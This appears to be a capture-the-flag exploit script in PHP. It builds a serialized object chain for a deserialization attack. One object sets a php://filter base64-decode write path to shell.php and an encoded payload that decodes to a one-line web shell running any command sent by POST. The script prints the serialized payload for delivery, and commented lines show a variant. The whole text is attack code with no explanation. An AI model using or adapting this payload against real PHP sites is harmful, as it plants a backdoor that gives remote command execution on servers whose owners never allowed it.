<?php
class GWHT{
    public $hero;

}
class Yongen{
    //flag.php
    public $file='php://filter/write=convert.base64-decode/resource=shell.php';
    public $text='aaaPD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=';
//public  $file;
//public $text;

}
$a=new GWHT();
$a->hero=new Yongen();
//$a->hero->file = 'php://filter/write=convert.base64-decode/resource=shell.php';
//$a->hero->text = '111' . 'PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4=';
//echo urlencode(serialize($a));
echo serialize($a);